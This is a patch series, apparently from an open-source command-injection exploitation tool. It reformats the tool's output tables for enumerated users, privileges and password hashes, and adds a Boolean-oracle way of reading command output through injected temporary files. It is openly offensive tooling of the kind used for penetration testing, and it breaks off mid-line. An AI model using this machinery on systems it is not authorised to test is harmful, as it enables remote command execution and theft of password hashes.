--git a/src/core/controller/checks.py b/src/core/controller/checks.py index 8a69009f67..43934310f5 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1691,7 +1691,7 @@ def finding_summary_lines(technique, injection_type, payload, title=None): The parameter header line of a summary block. """ def finding_parameter_line(vuln_parameter, http_request_method): - return settings.SUB_CONTENT_SIGN + "'" + vuln_parameter + "' (" + http_request_method + "):" + return settings.SUB_CONTENT_SIGN + "Parameter: " + vuln_parameter + " (" + http_request_method + ")" """ Print one block per row, grouped by parameter - rows start with @@ -1723,12 +1723,12 @@ def target_fingerprint_summary(): settings.print_info_msg("Fetching the target environment.") ) if technology: - settings.print_data_to_stdout(settings.print_retrieved_data("web application technology", ", ".join(technology))) + settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology))) if shell_identified: - settings.print_data_to_stdout(settings.print_retrieved_data("command shell", target_shell_label())) + settings.print_data_to_stdout(settings.print_retrieved_data("Command shell", target_shell_label())) def _injection_points_summary(header_msg, rows, decode_payload=False): - settings.print_data_to_stdout(Style.BRIGHT + header_msg + Style.RESET_ALL) + settings.print_data_to_stdout(header_msg) prev_parameter = None for index, row in enumerate(rows): if index > 0: @@ -1736,7 +1736,7 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): technique, injection_type, vuln_parameter, payload, http_request_method = row[:5] current_parameter = (vuln_parameter, http_request_method) if current_parameter != prev_parameter: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "'" + Style.BRIGHT + vuln_parameter + Style.RESET_ALL + "' (" + http_request_method + "):") + settings.print_data_to_stdout(finding_parameter_line(vuln_parameter, http_request_method)) prev_parameter = current_parameter if decode_payload: payload = str(url_decode(payload)) @@ -1756,10 +1756,9 @@ def resumed_injection_points_summary(rows): """ def confirmed_injection_points_summary(): rows = settings.CONFIRMED_INJECTION_POINTS - if len(rows) == 1: - header_msg = "Identified the following injection point with a total of " + str(rows[0][5]) + " HTTP(S) requests:" - else: - header_msg = "Identified the following injection point(s):" + # The last row's snapshot of the running total is the total for the whole run, since the counter + # only grows - so this reads right whether one technique was confirmed or several. + header_msg = "Identified the following injection point with a total of " + str(rows[-1][5]) + " HTTP(S) requests:" _injection_points_summary(header_msg, rows) """ @@ -4304,7 +4303,7 @@ def print_ps_version(ps_version, filename, newline_first): settings.PS_ENABLED = True # Output PowerShell's version number info_msg = "Powershell version: " + ps_version - settings.print_data_to_stdout(settings.print_retrieved_data("powershell version", ps_version)) + settings.print_data_to_stdout(settings.print_retrieved_data("Powershell version", ps_version)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("powershell_version", ps_version) @@ -4316,7 +4315,7 @@ def print_hostname(shell, filename, newline_first): if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) - settings.print_data_to_stdout(settings.print_retrieved_data("hostname", shell)) + settings.print_data_to_stdout(settings.print_retrieved_data("Hostname", shell)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("hostname", str(shell)) else: @@ -4331,7 +4330,7 @@ def print_current_user(cu_account, filename, newline_first): if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) - settings.print_data_to_stdout(settings.print_retrieved_data("current user", cu_account)) + settings.print_data_to_stdout(settings.print_retrieved_data("Current user", cu_account)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("current_user", str(cu_account)) else: @@ -4351,7 +4350,7 @@ def print_current_user_privs(shell, filename, newline_first): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user has elevated privileges: " + str(priv) - settings.print_data_to_stdout(settings.print_retrieved_data("current user has elevated privileges", priv, quoted=False)) + settings.print_data_to_stdout(settings.print_retrieved_data("Current user has elevated privileges", priv, quoted=False)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("current_user_elevated_privileges", priv == "True") """ @@ -4362,7 +4361,7 @@ def print_os_info(target_os, target_arch, filename, newline_first): if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) - settings.print_data_to_stdout(settings.print_retrieved_data("operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))) + settings.print_data_to_stdout(settings.print_retrieved_data("Operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))) logs.add_line(filename, info_msg, group="info") logs.report_set_info("operating_system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)) else: @@ -4467,14 +4466,15 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, else: if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="users") + table = settings.render_table(["Username"], [[name] for name in sys_users_list]) + settings.print_data_to_stdout(table) + logs.add_line(filename, table, group="users") for name in sys_users_list: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + name) - logs.add_line(filename, " * " + name, group="users") logs.report_add_enumeration("users", name) else: no_user_enumeration_permission() @@ -4508,10 +4508,10 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) + settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="users") parsed_users = [] @@ -4524,8 +4524,6 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, if not fields[2].startswith("/"): raise ValueError() parsed_users.append((fields[0], fields[1], fields[2])) - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + fields[0]) - logs.add_line(filename, " * " + fields[0], group="users") logs.report_add_enumeration("users", fields[0]) except ValueError: if count == 1 : @@ -4535,22 +4533,29 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, raw_line = " ".join(str(p) for p in fields) settings.print_data_to_stdout(raw_line) logs.add_line(filename, " " + raw_line, group="users") + if parsed_users: + users_table = settings.render_table(["Username"], [[name] for name, _, _ in parsed_users]) + settings.print_data_to_stdout(users_table) + logs.add_line(filename, users_table, group="users") # Per-user privileges, only when explicitly requested. if menu.options.privileges and parsed_users: fetch_msg = "Fetching the operating system users' privileges." settings.print_data_to_stdout(settings.print_info_msg(fetch_msg)) - info_msg = "operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(parsed_users) == 1] info_msg += "' privileges [" + str(len(parsed_users)) + "]:" - settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) + settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="privileges") + table_rows = [] for name, uid, homedir in parsed_users: label = classify_uid(uid) - note = " (" + label + ", uid=" + uid + ", home directory '" + homedir + "')" if label else " (uid=" + uid + ", home directory '" + homedir + "')" - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + name + note) - logs.add_line(filename, " * " + name + note, group="privileges") - logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label}) + privileged = int(uid) == 0 + logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label, "privileged": privileged}) + table_rows.append([name, uid, homedir, privileged]) + privileges_table = settings.render_table(["Username", "UID", "Home Directory", "Privileged"], table_rows) + settings.print_data_to_stdout(privileges_table) + logs.add_line(filename, privileges_table, group="privileges") else: warn_msg = "It seems you do not have permission " warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'." @@ -4591,15 +4596,16 @@ def print_passes(sys_passes, filename, newline_first, interpreter): warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - info_msg = "operating system" + info_msg = "Operating system" info_msg += " user" + ('s', '')[len(usable) == 1] info_msg += " password hashes [" + str(len(usable)) + "]:" settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="passwords") for username, digest in usable: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + username + ":" + digest) - logs.add_line(filename, " * " + username + ":" + digest, group="passwords") logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) + passwords_table = settings.render_table(["Username", "Hash"], [[username, digest] for username, digest in usable]) + settings.print_data_to_stdout(passwords_table) + logs.add_line(filename, passwords_table, group="passwords") else: warn_msg = "Unable to retrieve the password hashes for the operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -4681,7 +4687,7 @@ def run_single_os_cmd(execute_cmd, filename): def print_single_os_cmd(cmd, output, filename): # One character is an answer too - 'echo A' was reported as having returned nothing. if len(output) > 0: - settings.print_data_to_stdout(settings.print_retrieved_data("execution output", output)) + settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) logs.executed_command(filename, cmd, output) else: err_msg = common.invalid_cmd_output(cmd) @@ -4829,7 +4835,7 @@ def file_readable(separator, timesec, http_request_method, url, vuln_parameter, """ def file_read_status(shell, file_to_read, filename): if shell: - label = "file contents" + label = "File contents" settings.print_data_to_stdout(settings.print_retrieved_data(label, shell)) logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) logs.report_add_file(file_to_read, shell) From 5b9d3334651682d211d782caedcdbb6e58999cba Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 2 Oct 2026 06:10:10 +0300 Subject: [PATCH 0848/1023] The file-based technique has been revised to read created files through a calibrated Boolean-based oracle, with delay-based fallback --- doc/CHANGELOG.md | 1 + src/core/controller/enumeration.py | 12 ++ src/core/controller/execution.py | 8 + src/core/controller/handler.py | 150 ++++++++++---- src/core/controller/injector.py | 18 +- src/core/controller/proof.py | 51 +++-- src/core/eval/grammars/python.py | 7 +- src/core/eval/payloads/tempfile_based.py | 49 +++++ .../techniques/boolean_based/bb_handler.py | 101 +++++++--- .../techniques/tempfile_based/tfb_handler.py | 188 +++++++++++++++++- .../techniques/tempfile_based/tfb_payloads.py | 96 +++++++++ src/utils/settings.py | 68 +++++-- 12 files changed, 644 insertions(+), 105 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0dc5a1ba84..f048e65964 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading. * Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. * Added: New switch `--hpp` for sending a tested parameter twice, placing the payload in the occurrence read by the target and a filter-accepted value in the one inspected. * Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API. diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index 68987ca06c..9bb071ecd9 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -162,6 +162,18 @@ def wrapped(cmd): Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Said before the first of these asks the target anything, not after - whether every fetch below + # is un-timed is already settled by now, from detection, so there is no need to wait for one of + # them to find out for itself. + untimed = technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED + if not untimed and technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + untimed = oracle_handler.oracle_active(url, vuln_parameter, separator) + if untimed and settings.THREADS <= 1 and not settings.BOOLEAN_THREADS_SUGGESTED: + settings.BOOLEAN_THREADS_SUGGESTED = True + info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py index 43fb9657ee..da10e1225d 100644 --- a/src/core/controller/execution.py +++ b/src/core/controller/execution.py @@ -80,6 +80,14 @@ def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, wh def execute_cmd(cmd): if technique in (settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED): return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + # Tried first here too - every caller built on this (hostname, '--os-cmd', file read/write, + # '--all') otherwise reached straight past the interactive shell's own oracle-first check and + # into the delay-based reading beneath it. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not results_based_injector: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + oracle_shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd) + if oracle_shell is not None: + return postprocess_time(oracle_shell) if settings.TIME_RELATED_ATTACK and not results_based_injector: try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index c5effe8a54..cff9637dab 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -340,25 +340,32 @@ def cleanup(): # Run one command through the confirmed injection point, reusing a stored answer where there is one. def execute_cmd(cmd): - time.sleep(timesec) _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if menu.options.ignore_session or not checks.usable_stored_cmd(_stored_shell): - # The main command injection exploitation. - if settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Export injection result - checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + shell = None + # Tried first, the created file read through whatever already tells this target's pages true + # from false - cheaper than the delay below and, unlike it, safe to ask for concurrently. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd) + if shell is None: + time.sleep(timesec) + # The main command injection exploitation. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + # Export injection result + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Command execution results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) # Storing a known-incomplete result would serve it back as if it were the real output. @@ -379,14 +386,24 @@ def execute_cmd(cmd): """ Retry value-skip using the confirmed exploit's own delay signal. """ -def probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix): +def probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG=None, OUTPUT_TEXTFILE=None): if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE: return url, prefix - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - probe_payloads = checks.time_based_payloads() + # Asked through the oracle where this boundary already has one calibrated - a plain yes/no costs + # nothing to wait for, where the delay-based probe below would otherwise be the first timed + # comparison of a run that never needed one anywhere else. The same question calibration already + # answered correctly, not a bare "1==1": that shape was never itself calibrated, and a page that + # only distinguishes true from false by what a file-read prints would read it as no answer at all. + oracle_probe = False + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and TAG and OUTPUT_TEXTFILE: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + oracle_probe = oracle_handler.oracle_active(url, vuln_parameter, separator) + if oracle_probe: + payload = checks.tempfile_based_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = checks.time_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method) else: - probe_payloads = checks.tempfile_based_payloads() - payload = probe_payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method) + payload = checks.tempfile_based_payloads().condition_check(separator, "1 -eq 1", timesec, http_request_method) if payload is None: return url, prefix @@ -407,7 +424,8 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me url = url.replace(marker, placeholder + settings.INJECT_TAG) settings.TESTABLE_VALUE = placeholder if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Replaying the delay against the random value '" + placeholder + "', to check if the real one is needed." + debug_msg = ("Asking the oracle against" if oracle_probe else "Replaying the delay against") + \ + " the random value '" + placeholder + "', to check if the real one is needed." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ Sent inside the boundary the finding was made with, not bare. @@ -420,9 +438,14 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me confirmed = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) probe_prefix, probe_suffix = (confirmed[0], confirmed[1]) if confirmed else ("", "") try: - before = stability.requests_sent() - exec_time, _, _, _, _ = requests.perform_injection(probe_prefix, probe_suffix, whitespace, payload, vuln_parameter, http_request_method, url) - succeeded = not stability.request_was_retried(before) and checks.time_related_shell(exec_time, timesec) + if oracle_probe: + from src.core.techniques.boolean_based import bb_injector + answer, _ = bb_injector.answer(payload, probe_prefix, probe_suffix, whitespace, http_request_method, url, vuln_parameter) + succeeded = answer is True + else: + before = stability.requests_sent() + exec_time, _, _, _, _ = requests.perform_injection(probe_prefix, probe_suffix, whitespace, payload, vuln_parameter, http_request_method, url) + succeeded = not stability.request_was_retried(before) and checks.time_related_shell(exec_time, timesec) except Exception: succeeded = False @@ -944,25 +967,38 @@ def execute_cmd(cmd): proof.register(technique, vuln_parameter, http_request_method, execute_cmd) return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator) +""" +Whether threaded time-related retrieval is safe on this target, and whether the run wants it anyway - +settled once, the first time anything is actually going to be timed. Asking any earlier would put the +question to a run that ends up never measuring a delay at all. +""" +def _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored): + if not (settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored): + return + if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS): + warn_msg = "The target answers one request at a time. Continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.THREADED_TIME_RETRIEVAL_CHOICE = False + else: + # Answered yes, the retrieval still measures whether the answers can be told apart under that + # concurrency - which needs a payload, and so cannot be settled here. + # Declined unless asked for: reading a delay is reading one request against the others, and + # requests that overlap are what the reading is least able to survive. + msg = "Multi-threading is considered unsafe for time-related data retrieval. " + msg += "Do you want to continue using threads anyway? [y/N] " + settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES + """ The main Time-related exploitation process. """ def do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES - if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored: - if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS): - warn_msg = "The target answers one request at a time. Continuing with a single thread." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.THREADED_TIME_RETRIEVAL_CHOICE = False - else: - # Answered yes, the retrieval still measures whether the answers can be told apart under that - # concurrency - which needs a payload, and so cannot be settled here. - # Declined unless asked for: reading a delay is reading one request against the others, and - # requests that overlap are what the reading is least able to survive. - msg = "Multi-threading is considered unsafe for time-related data retrieval. " - msg += "Do you want to continue using threads anyway? [y/N] " - settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES + # Deferred for TEMP_FILE_BASED, to the same point 'timesec' itself is - asked only once the oracle + # this technique tries first has failed to confirm the boundary, and threading is about to mean + # something for real. + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored) counter = 1 num_of_chars = 1 @@ -970,7 +1006,10 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim possibly_vulnerable = False false_positive_warning = False exec_time = 0 - timesec = checks.time_related_timesec() + # Deferred for TEMP_FILE_BASED - adjusting it here would announce a delay this technique tries + # first to avoid needing at all. Computed once the oracle attempt below has actually failed. + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + timesec = checks.time_related_timesec() if settings.TIME_RELATED_ATTACK is False: settings.TIME_RELATED_ATTACK = None @@ -1009,6 +1048,9 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim settings.EXPLOITATION_PHASE = False # If a previous session is available for this specific technique. resumed = False + # Whether this boundary was confirmed through the oracle instead of a delay - carried past the + # retry loop below to the one check that decides whether the point counts as found. + oracle_confirmed = False stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None if stored_row: try: @@ -1053,6 +1095,32 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + # Tried first, on the first pass only - a boundary the oracle confirms needs no delay to + # prove, and one it cannot confirm is no cheaper to ask about twice. + if _false_positive_retry == 0: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + # Unresolved on the way in, exactly as the delay-based confirmation below leaves it - + # discovered by whichever of the two ends up sending the first request. + oracle_payload, vuln_parameter = oracle_handler.try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_method, url, "", OUTPUT_TEXTFILE, TAG) + if oracle_payload: + payload = oracle_payload + output_length = len(TAG) + # Nothing here was measured, so there is no false-positive command or its output to + # carry forward either - left the way a resumed finding leaves them. + cmd = shell = output = "" + exec_time = original_exec_time = timesec + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + oracle_confirmed = possibly_vulnerable = True + # Closes the "Continuing with..." spinner the same way a delay-based confirmation + # closes its own - nothing here was timed, but the line it left open still needs it. + checks.injection_process(injection_type, technique, done=True) + break + # Reached only once the oracle above has not confirmed the boundary - deferred rather + # than adjusted at the top of the function, so the notice is not announced for a delay + # this technique may end up never needing. + _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored) + timesec = checks.time_related_timesec() # What these payloads cost is part of the answer's time: one that writes a file and reads it # back through two interpreters takes about a second before any delay is asked for, while the # model it is judged against was built from plain requests. Sampled once with a length that @@ -1248,7 +1316,7 @@ def _control_answers_on_time(): floored by the shortest delay held to be safe. Read against each other, a finding made under a shorter delay than the floor is thrown away every time it is resumed. """ - if resumed or checks.time_related_shell(exec_time, timesec): + if resumed or oracle_confirmed or checks.time_related_shell(exec_time, timesec): if (len(TAG) == output_length) and (possibly_vulnerable is True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False @@ -1266,7 +1334,7 @@ def _control_answers_on_time(): # An optimisation only, and it costs a timing model and a delayed request to find - so a # resumed finding is replayed as it was stored rather than measured again for it. if not resumed: - url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) + url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG, OUTPUT_TEXTFILE) # Registered here, run once at quit(). _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 594ed327cc..fc2c498b6a 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -309,8 +309,6 @@ def _measure_length(payload): lower_limit = checks.current_delay_threshold() if lower_limit is not None: _adjust_time_delay(exec_time, lower_limit) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") return decision # Told apart by the difference between a condition that must hold and one that cannot, rather @@ -486,6 +484,11 @@ def _length_delayed(candidate): """ def _length_delayed_confirmed(candidate): first = _length_delayed(candidate) + # One dot for the step, however many of the up-to-three questions above it took to answer - + # a caller reading the dot count as the search's own size would otherwise see a step that + # needed confirming cost three times what an identical, uncontested one cost. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") if not settings.JITTER_SEEN: return first if first == _length_delayed(candidate): @@ -553,7 +556,11 @@ def _validate_boundary(candidate): same_mechanism_ok = votes.count(True) >= 2 else: same_mechanism_ok = _boundary_holds(candidate) - return same_mechanism_ok and _exact_length_confirmed(candidate) + result = same_mechanism_ok and _exact_length_confirmed(candidate) + # One dot for the validation attempt, whatever it cost internally to reach. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + return result revalidations = 0 original_timesec = timesec @@ -593,7 +600,10 @@ def _validate_boundary(candidate): # Experimental interpreter path only - its oracle is still exact-match, not bisectable. for candidate_length in range(int(minlen), int(maxlen)): payload = payloads.cmd_execution_alter_interpreter(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) - if _measure_length(payload): + found = _measure_length(payload) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if found: output_length = candidate_length found_chars = True break diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index 480572b0ec..4b708ecd9c 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -59,11 +59,12 @@ def _name(technique): return name[:1].upper() + name[1:] """ -A field, bulleted the same way the injection-point summary bullets one (' * Technique: ...'). +A field, bulleted the same way the injection-point summary bullets one (' * Technique: ...') - +except the ones the run itself is described by, which sit above any parameter and bullet nothing. """ -def _field(label, value): - prefix = settings.SUB_CONTENT_SIGN_TYPE + label + ": " - indent = " " * (len(label) + 6) +def _field(label, value, bullet=True): + prefix = (settings.SUB_CONTENT_SIGN_TYPE if bullet else "") + label + ": " + indent = " " * (len(label) + (6 if bullet else 2)) if isinstance(value, list): if not value: return "" @@ -100,8 +101,8 @@ def _evasion(): def _cost(started, elapsed): sent = settings.TOTAL_OF_REQUESTS - started if sent > 0: - return "spent: %d request%s, %.2fs" % (sent, "s"[sent == 1:], elapsed) - return "spent: %.2fs" % elapsed + return "spent: %d request%s, %.2fs" % (sent, "s"[sent == 1:], elapsed) + return "spent: %.2fs" % elapsed """ Ask the target to work out something nobody could have written down in advance, and show what came @@ -129,8 +130,8 @@ def _challenge(execute_cmd, technique): carried = expected in answer lines = ["The target must work out %d + %d = %s, drawn at random after the scan started." % (first, second, expected), "(the product is in no page, cache or reflection - only something that executes could return it.)", - "sent: " + cmd, - "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), + "sent: " + cmd, + "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), _cost(started, elapsed)] return carried, expected, lines @@ -161,7 +162,12 @@ def _ask(target_value): payload = payloads.windows_condition_check(separator, str(first) + "+" + str(second), target_value, base) else: - condition = "$((" + str(first) + "+" + 